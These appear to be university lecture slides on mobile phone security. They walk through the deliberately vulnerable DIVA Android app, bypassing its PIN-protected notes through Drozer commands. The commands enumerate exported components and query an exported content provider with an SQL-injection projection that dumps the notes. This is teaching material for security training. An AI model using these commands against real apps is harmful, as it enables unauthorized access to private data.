NFSU National Forensic Sciences University
Knowledge | Wisdom | Fulfilment

An Institute of National Importance
(Ministry of Home Affairs, Government of India)

Mobile Phone Security

Dr. Digvijaysinh Rathod
Associate Professor & Associate Dean
School of Cyber Security and Digital Forensics
National Forensic Sciences University with status of Institution of National Importance

digvijay.rathod@gfsu.edu.in

Access Control Issues:

Authentication Based Access Control Issues

- ✓ a. This challenge deals with accessing a PIN protected notes storage without knowing the PIN.
- ✓ b.A good way to know if we can bypass PIN-based authorization screens is by using Drozer with its automated vulnerability detection and support in exploiting those weaknesses.
- ✓ c.Thus, we will start Drozer and search for vulnerabilities in the DIVA app:

Authentication Based Access Control Issues

- ✓ d.dz> run app.package.attacksurfacejakhar.aseem.diva
  - ✓ a. Attack Surface:
  - ✓ b. 3 activities exported
  - ✓ c. 0 broadcast receivers exported
  - ✓ d. 1 content providers exported
  - ✓ e. 0 services exported
  - ✓ f. is debuggable

Authentication Based Access Control Issues

- ✓ e.This results shows us already, that the app has 3 exported activities (activities that we could access directly from outside the app) and one exported content provider.
- ✓ f.For this challenge, the exported content provider seems to be very interesting as it allows access to a database – now let's hope that it is the right one. To find out which database the app is exporting through this content provider, we use again Drozer:

Authentication Based Access Control Issues

```
dz> run scanner.provider.finduris -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes/
Unable to Query  content://jakhar.aseem.diva.provider.notesprovider
Unable to Query  content://jakhar.aseem.diva.provider.notesprovider/
Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes
 Accessible content URIs:
  content://jakhar.aseem.diva.provider.notesprovider/notes/
  content://jakhar.aseem.diva.provider.notesprovider/notes
```

Authentication Based Access Control Issues

- ✓ As we can see here, the exported content provider is the right one, it allows access to the secret notes. To gain access to it, we will query it through the URI and Drozer:

```
dz> run app.provider.query
content://jakhar.aseem.diva.provider.notesprovider/notes/ --projection
"* FROM notes;--"
| _id | title    | note                          |
| 1   | office   | 10 Meetings. 5 Calls. Lunch with CEO |
| 2   | home     | Buy toys for baby, Order dinner      |
| 3   | holiday  | Either Goa or Amsterdam              |
| 4   | Expense  | Spent too much on home theater       |
| 5   | Exercise | Alternate days running               |
| 6   | Weekend  | b333333333333r                       |
```

Authentication Based Access Control Issues

- ✓ e.If you click on register now then it as for register with http://payatu.com to get you pin and then login with the PIN.
- ✓ f.In the second scenario Already Register then we are able to see the Twitter API credential.
- ✓ g.Now we can invoke the activity which shows twitter API credential directly,

NFSU

National Forensic Sciences University

Knowledge | Wisdom | Fulfilment

An Institute of National Importance
(Ministry of Home Affairs, Government of India)

Mobile Phone Security

Dr. Digvijaysinh Rathod
Associate Professor & Associate Dean
School of Cyber Security and Digital Forensics
National Forensic Sciences University with status of Institution of National Importance

digvijay.rathod@gfsu.edu.in